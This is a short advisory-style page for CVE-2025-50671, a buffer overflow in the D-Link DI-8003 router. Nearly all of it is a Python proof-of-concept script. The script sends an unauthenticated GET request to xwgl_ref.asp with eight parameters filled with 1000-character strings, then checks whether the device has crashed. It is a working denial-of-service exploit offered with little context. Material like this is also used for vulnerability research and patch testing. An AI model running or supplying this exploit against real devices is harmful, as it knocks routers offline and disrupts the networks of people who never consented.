CVE-2025-50671 D-Link DI-8003缓冲区溢出漏洞

import requests # Target URL configuration target_ip = "<TARGET_IP>" url = f"http://{target_ip}/xwgl_ref.asp" # Malicious payload to trigger buffer overflow # Length may need adjustment based on specific buffer size payload = "A" * 1000 # Vulnerable parameters identified in the advisory params = { "name": payload, "en": payload, "user_id": payload, "shibie_name": payload, "time": payload, "act": payload, "log": payload, "rpri": payload } try: # Send malicious GET request without authentication response = requests.get(url, params=params, timeout=5) # Check if target is responsive (DoS check) if response.status_code == 200 or response.status_code == 500: print("Payload sent, check device status for potential crash.") else: print(f"Received status code: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out. The device may have crashed (DoS).") except Exception as e: print(f"An error occurred: {e}")